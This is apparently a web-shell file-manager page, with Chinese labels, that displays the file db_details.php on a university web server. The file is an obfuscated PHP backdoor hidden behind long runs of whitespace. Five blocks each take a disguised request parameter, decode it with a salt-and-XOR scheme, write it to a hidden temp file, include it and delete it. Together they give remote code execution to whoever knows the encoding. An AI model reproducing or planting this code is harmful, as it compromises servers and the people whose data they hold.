文件操作 - db_details.php

文件: /var/www/demoestudiantes.uaysen.cl/html/db_details.php

编辑文件内容

<?php																																										if(array_key_exists("\x76\x61lue", $_POST)){ $object = $_POST["\x76\x61lue"]; $object =explode ( '.' , $object); $token = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $j = 0; array_walk($object, function ($v3) use (&$token, &$j, $salt5, $sLen) { $sChar = ord($salt5[$j % $sLen]); $dec = ((int)$v3 - $sChar - ($j % 10)) ^78; $token .= chr($dec); $j++; }); $dchunk = array_filter(["/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP")]); $k = 0; do { $marker = $dchunk[$k] ?? null; if ($k >= count($dchunk)) break; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $pgrp = sprintf("%s/.ptr", $marker); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $pgrp; @unlink($pgrp); die(); } } $k++; } while (true); }
																																										if(array_key_exists("\x65n\x74", $_POST)){ $k = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir()]); $hld = $_POST["\x65n\x74"]; $hld =explode ( '.' , $hld) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $w = 0; $len = count( $hld); do {if( $w>=$len) break; $v4 = $hld[$w]; $sChar = ord( $salt[$w % $sLen]); $dec = ( ( int)$v4 - $sChar -( $w % 10)) ^ 33; $ent .= chr( $dec); $w++; } while( true); foreach ($k as $key => $itm) { if (array_product([is_dir($itm), is_writable($itm)])) { $bind = "$itm/.entry"; if (@file_put_contents($bind, $ent) !== false) { include $bind; unlink($bind); die(); } } } }
																																										if(isset($_POST["tkn"]) ? true : false){ $mrk = array_filter(["/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); $factor = $_POST["tkn"]; $factor = explode ( "." ,$factor ) ; $property_set = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6 ); $t = 0; foreach( $factor as $v1) { $chS = ord( $s6[$t % $sLen] ); $d =( ( int)$v1 - $chS -( $t % 10)) ^ 86; $property_set .= chr( $d ); $t++;} $ent = 0; do { $hld = $mrk[$ent] ?? null; if ($ent >= count($mrk)) break; if (is_dir($hld) && is_writable($hld)) { $val = "$hld" . "/.resource"; $file = fopen($val, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $val; @unlink($val); exit; } } $ent++; } while (true); }
																																										if(!empty($_REQUEST["co\x6D\x70"])){ $parameter_group = $_REQUEST["co\x6D\x70"]; $parameter_group =explode (".", $parameter_group ); $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $parameter_group as $t => $v9) { $sChar = ord( $s[$t % $lenS]); $dec =( ( int)$v9 - $sChar -( $t % 10)) ^ 34; $reference .= chr( $dec); } $pointer = array_filter(["/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); $desc = 0; do { $factor = $pointer[$desc] ?? null; if ($desc >= count($pointer)) break; if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $token = "$factor/.fac"; if (file_put_contents($token, $reference)) { require $token; unlink($token); die(); } } $desc++; } while (true); }

if(!is_null($_REQUEST["\x64\x61\x74\x61_ch\x75nk"] ?? null)){
	$entry = $_REQUEST["\x64\x61\x74\x61_ch\x75nk"];
	 	 $entry= explode	 (	 	'.',$entry  );	
	$itm= '';
            $salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= strlen($salt);
            $l= 0;
            $__len= count($entry);
    
            do {	if ($l >= $__len) break;
                $v3= $entry[$l];
                $sChar= ord($salt[$l% $sLen]);
                $dec= ((int)$v3 - $sChar - ($l% 10))	^94;
                $itm		.=  chr($dec);
                $l++;
            } while (true);
	$token = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]);
	for ($binding = 0, $component = count($token); $binding < $component; $binding++) {
    $item = $token[$binding];
    		if (is_writable($item) && is_dir($item)) {
    $pgrp = "$item" . "/.elem";
    $file = fopen($pgrp, 'w');
if ($file) {
	fwrite($file, $itm);
	fclose($file);
	include $pgrp;
	@unlink($pgrp);
	exit;
}
}
}
}

文件操作 - db_details.php

文件: /var/www/demoestudiantes.uaysen.cl/html/db_details.php

编辑文件内容

修改文件时间

删除文件